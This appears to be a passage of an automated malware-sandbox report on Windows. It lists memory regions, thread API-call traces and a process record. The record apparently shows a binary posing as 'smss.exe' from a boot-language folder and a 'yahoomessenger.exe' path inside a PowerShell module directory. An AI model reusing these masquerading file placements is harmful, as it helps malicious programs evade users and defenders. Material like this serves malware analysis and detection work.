"\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 8570 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 8571 start_va = 0xd0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 8572 start_va = 0xe0000 end_va = 0xeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 8573 start_va = 0x7fe948c0000 end_va = 0x7fe948cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe948c0000" filename = "" Region: id = 8574 start_va = 0x7fe948d0000 end_va = 0x7fe948dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe948d0000" filename = "" Region: id = 8575 start_va = 0x7fe948e0000 end_va = 0x7fe9496ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe948e0000" filename = "" Region: id = 8631 start_va = 0x7fe94970000 end_va = 0x7fe949dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94970000" filename = "" Region: id = 8632 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 8633 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 8634 start_va = 0x1d90000 end_va = 0x1f9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d90000" filename = "" Region: id = 8635 start_va = 0x1fa0000 end_va = 0x21cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fa0000" filename = "" Region: id = 8636 start_va = 0x1fc0000 end_va = 0x20bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fc0000" filename = "" Region: id = 8637 start_va = 0x2150000 end_va = 0x21cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002150000" filename = "" Region: id = 8638 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 8639 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 8640 start_va = 0x21d0000 end_va = 0x1a1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 8662 start_va = 0x1a1d0000 end_va = 0x1a54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a1d0000" filename = "" Region: id = 8663 start_va = 0x1d90000 end_va = 0x1e90fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d90000" filename = "" Region: id = 8664 start_va = 0x1f20000 end_va = 0x1f9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f20000" filename = "" Region: id = 8665 start_va = 0x1a730000 end_va = 0x1a82ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a730000" filename = "" Region: id = 8666 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 8691 start_va = 0x1a5f0000 end_va = 0x1a6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a5f0000" filename = "" Region: id = 8692 start_va = 0x1a830000 end_va = 0x1a92ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a830000" filename = "" Region: id = 8693 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 8703 start_va = 0x1a930000 end_va = 0x1abfefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 8719 start_va = 0x7fef2840000 end_va = 0x7fef3e3cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 8773 start_va = 0x7fefe060000 end_va = 0x7fefe262fff monitored = 0 entry_point = 0x7fefe083330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 8774 start_va = 0x1ea0000 end_va = 0x1f1cfff monitored = 0 entry_point = 0x1eacec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8775 start_va = 0x1ea0000 end_va = 0x1f1cfff monitored = 0 entry_point = 0x1eacec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8776 start_va = 0x7fefd690000 end_va = 0x7fefd69efff monitored = 0 entry_point = 0x7fefd691010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 8832 start_va = 0x7fefc0b0000 end_va = 0x7fefc105fff monitored = 0 entry_point = 0x7fefc0bbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 8833 start_va = 0x1ac00000 end_va = 0x1adcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac00000" filename = "" Region: id = 8834 start_va = 0x1ac00000 end_va = 0x1acdefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ac00000" filename = "" Region: id = 8835 start_va = 0x1ad50000 end_va = 0x1adcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad50000" filename = "" Region: id = 8836 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 8837 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 8838 start_va = 0x7fe949e0000 end_va = 0x7fe94a5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe949e0000" filename = "" Region: id = 8906 start_va = 0x7fe94a60000 end_va = 0x7fe94a6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a60000" filename = "" Region: id = 8907 start_va = 0x7fe94a70000 end_va = 0x7fe94a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a70000" filename = "" Region: id = 8920 start_va = 0x7fef7460000 end_va = 0x7fef7462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 8935 start_va = 0x7fef5450000 end_va = 0x7fef559efff monitored = 1 entry_point = 0x7fef5451090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 8950 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 8984 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 8985 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 8986 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 9007 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 9022 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 9037 start_va = 0x530000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 9049 start_va = 0x1add0000 end_va = 0x1af1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001add0000" filename = "" Region: id = 9069 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 9086 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 9087 start_va = 0x530000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 9088 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 9151 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 9152 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 9167 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 9174 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 9187 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 9215 start_va = 0x1ea0000 end_va = 0x1f01fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorrc.dll") Region: id = 9248 start_va = 0x1af40000 end_va = 0x1af7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af40000" filename = "" Region: id = 9249 start_va = 0x1b0a0000 end_va = 0x1b19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0a0000" filename = "" Region: id = 9250 start_va = 0x7ffffefe000 end_va = 0x7ffffefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefe000" filename = "" Region: id = 9251 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 9391 start_va = 0x1b2d0000 end_va = 0x1b3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2d0000" filename = "" Region: id = 9392 start_va = 0x7fefd070000 end_va = 0x7fefd087fff monitored = 0 entry_point = 0x7fefd073b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 9393 start_va = 0x7ffffefc000 end_va = 0x7ffffefdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefc000" filename = "" Region: id = 9394 start_va = 0x20c0000 end_va = 0x2104fff monitored = 0 entry_point = 0x20c1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9395 start_va = 0x20c0000 end_va = 0x2104fff monitored = 0 entry_point = 0x20c1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9396 start_va = 0x20c0000 end_va = 0x2104fff monitored = 0 entry_point = 0x20c1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9397 start_va = 0x20c0000 end_va = 0x2104fff monitored = 0 entry_point = 0x20c1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9448 start_va = 0x20c0000 end_va = 0x2104fff monitored = 0 entry_point = 0x20c1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9449 start_va = 0x7fefcd70000 end_va = 0x7fefcdb6fff monitored = 0 entry_point = 0x7fefcd71064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9450 start_va = 0x7fefd740000 end_va = 0x7fefd753fff monitored = 0 entry_point = 0x7fefd7410e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 9489 start_va = 0x1b1d0000 end_va = 0x1b2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1d0000" filename = "" Region: id = 9490 start_va = 0x1b4a0000 end_va = 0x1b59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4a0000" filename = "" Region: id = 9491 start_va = 0x7ffffef8000 end_va = 0x7ffffef9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef8000" filename = "" Region: id = 9492 start_va = 0x7ffffefa000 end_va = 0x7ffffefbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefa000" filename = "" Region: id = 9524 start_va = 0x1b690000 end_va = 0x1b78ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b690000" filename = "" Region: id = 9525 start_va = 0x7ffffef6000 end_va = 0x7ffffef7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef6000" filename = "" Region: id = 9527 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 9550 start_va = 0x7fef1bd0000 end_va = 0x7fef283efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 9573 start_va = 0x7fef5250000 end_va = 0x7fef5444fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 9580 start_va = 0x7fef0b20000 end_va = 0x7fef1bc5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 9606 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 9617 start_va = 0x530000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 9661 start_va = 0x7fef8940000 end_va = 0x7fef8955fff monitored = 1 entry_point = 0x7fef894e5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 9662 start_va = 0x1b790000 end_va = 0x1ba61fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Region: id = 9663 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 9664 start_va = 0x530000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 9665 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 9666 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 9667 start_va = 0x770000 end_va = 0x77ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000770000" filename = "" Region: id = 9763 start_va = 0x1f10000 end_va = 0x1f1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f10000" filename = "" Region: id = 9764 start_va = 0x1fa0000 end_va = 0x1faffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fa0000" filename = "" Region: id = 9765 start_va = 0x1fb0000 end_va = 0x1fbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fb0000" filename = "" Region: id = 9766 start_va = 0x20c0000 end_va = 0x20cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020c0000" filename = "" Region: id = 9767 start_va = 0x20d0000 end_va = 0x20dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020d0000" filename = "" Region: id = 9768 start_va = 0x20e0000 end_va = 0x20effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020e0000" filename = "" Region: id = 9769 start_va = 0x20f0000 end_va = 0x20fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020f0000" filename = "" Region: id = 9770 start_va = 0x2100000 end_va = 0x210ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002100000" filename = "" Region: id = 9771 start_va = 0x2110000 end_va = 0x211ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002110000" filename = "" Region: id = 9772 start_va = 0x2120000 end_va = 0x212ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002120000" filename = "" Region: id = 9773 start_va = 0x2130000 end_va = 0x213ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002130000" filename = "" Region: id = 9774 start_va = 0x2140000 end_va = 0x214ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002140000" filename = "" Region: id = 9922 start_va = 0x1a550000 end_va = 0x1a55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a550000" filename = "" Region: id = 9923 start_va = 0x1a560000 end_va = 0x1a56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a560000" filename = "" Region: id = 9924 start_va = 0x1a570000 end_va = 0x1a57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a570000" filename = "" Region: id = 9974 start_va = 0x1a580000 end_va = 0x1a58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a580000" filename = "" Region: id = 9975 start_va = 0x1a590000 end_va = 0x1a59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a590000" filename = "" Region: id = 9976 start_va = 0x1a5a0000 end_va = 0x1a5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a5a0000" filename = "" Region: id = 10016 start_va = 0x1a5b0000 end_va = 0x1a5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a5b0000" filename = "" Region: id = 10017 start_va = 0x1a5c0000 end_va = 0x1a5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a5c0000" filename = "" Region: id = 10018 start_va = 0x1a5d0000 end_va = 0x1a5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a5d0000" filename = "" Region: id = 10019 start_va = 0x1a5e0000 end_va = 0x1a5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a5e0000" filename = "" Region: id = 10020 start_va = 0x1a6f0000 end_va = 0x1a6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a6f0000" filename = "" Region: id = 10021 start_va = 0x1a700000 end_va = 0x1a70ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a700000" filename = "" Region: id = 10022 start_va = 0x1a710000 end_va = 0x1a71ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a710000" filename = "" Region: id = 10023 start_va = 0x1a720000 end_va = 0x1a72ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a720000" filename = "" Region: id = 10024 start_va = 0x1ace0000 end_va = 0x1aceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ace0000" filename = "" Region: id = 10025 start_va = 0x1acf0000 end_va = 0x1acfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acf0000" filename = "" Region: id = 10026 start_va = 0x1ad00000 end_va = 0x1ad0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad00000" filename = "" Region: id = 10027 start_va = 0x1ad10000 end_va = 0x1ad1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad10000" filename = "" Region: id = 10028 start_va = 0x1ad20000 end_va = 0x1ad2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad20000" filename = "" Region: id = 10029 start_va = 0x1ad30000 end_va = 0x1ad3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad30000" filename = "" Region: id = 10030 start_va = 0x1ad40000 end_va = 0x1ad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 10031 start_va = 0x1add0000 end_va = 0x1addffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001add0000" filename = "" Region: id = 10032 start_va = 0x1aea0000 end_va = 0x1af1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aea0000" filename = "" Region: id = 10146 start_va = 0x1ade0000 end_va = 0x1adeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ade0000" filename = "" Region: id = 10147 start_va = 0x1adf0000 end_va = 0x1adfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001adf0000" filename = "" Region: id = 10304 start_va = 0x2100000 end_va = 0x213ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002100000" filename = "" Region: id = 10305 start_va = 0x7ffffefe000 end_va = 0x7ffffefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefe000" filename = "" Region: id = 10306 start_va = 0x7fe94a80000 end_va = 0x7fe94a8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a80000" filename = "" Region: id = 10360 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 10361 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 10362 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 10417 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 10418 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 10419 start_va = 0x530000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 10420 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 10451 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 10461 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 10474 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 10478 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 10497 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Thread: id = 344 os_tid = 0x58c [0225.452] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0243.269] EtwEventRegister (in: ProviderId=0x21d5930, EnableCallback=0x1aea135c, CallbackContext=0x0, RegHandle=0x21d5910 | out: RegHandle=0x21d5910) returned 0x0 [0244.699] EtwEventRegister (in: ProviderId=0x21da0b8, EnableCallback=0x1aea13ac, CallbackContext=0x0, RegHandle=0x21da098 | out: RegHandle=0x21da098) returned 0x0 [0246.558] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5a50c0*=0xd8, lpdwindex=0x22e6f4 | out: lpdwindex=0x22e6f4) returned 0x0 [0248.365] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5a50c0*=0xd8, lpdwindex=0x22e6f4 | out: lpdwindex=0x22e6f4) returned 0x0 [0267.036] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x1a854a90*=0x24, lpdwindex=0x22e3e4 | out: lpdwindex=0x22e3e4) returned 0x0 [0267.752] CoWaitForMultipleHandles (dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5a50c0*=0xd8, lpdwindex=0x22e6f4) Thread: id = 431 os_tid = 0x768 Thread: id = 439 os_tid = 0x810 [0227.801] CoGetContextToken (in: pToken=0x1a82f4a0 | out: pToken=0x1a82f4a0) returned 0x800401f0 [0227.801] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 444 os_tid = 0x824 Thread: id = 453 os_tid = 0x854 [0245.670] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0245.671] CoGetContextToken (in: pToken=0x1b19f750 | out: pToken=0x1b19f750) returned 0x0 [0245.671] CObjectContext::QueryInterface () returned 0x0 [0245.672] CObjectContext::GetCurrentThreadType () returned 0x0 [0245.672] Release () returned 0x0 [0245.672] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0245.673] CoUninitialize () [0258.661] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b19db88 | out: phkResult=0x1b19db88*=0x0) returned 0x2 [0258.661] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0258.667] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe", nBufferLength=0x105, lpBuffer=0x1b19e6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe", lpFilePart=0x0) returned 0x5f Thread: id = 454 os_tid = 0x858 Thread: id = 490 os_tid = 0x8e8 Thread: id = 520 os_tid = 0x968 Thread: id = 521 os_tid = 0x96c Thread: id = 535 os_tid = 0x9a4 [0248.669] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0248.670] CoGetContextToken (in: pToken=0x1b78f770 | out: pToken=0x1b78f770) returned 0x0 [0248.670] CObjectContext::QueryInterface () returned 0x0 [0248.670] CObjectContext::GetCurrentThreadType () returned 0x0 [0248.670] Release () returned 0x0 [0248.670] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0248.670] CoUninitialize () Thread: id = 541 os_tid = 0x9c4 Process: id = "80" image_name = "smss.exe" filename = "c:\\boot\\fi-fi\\smss.exe" page_root = "0x798af000" os_pid = "0x5a0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "76" os_parent_pid = "0x4d8" cmd_line = "C:\\Boot\\fi-FI\\smss.exe " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fea5" 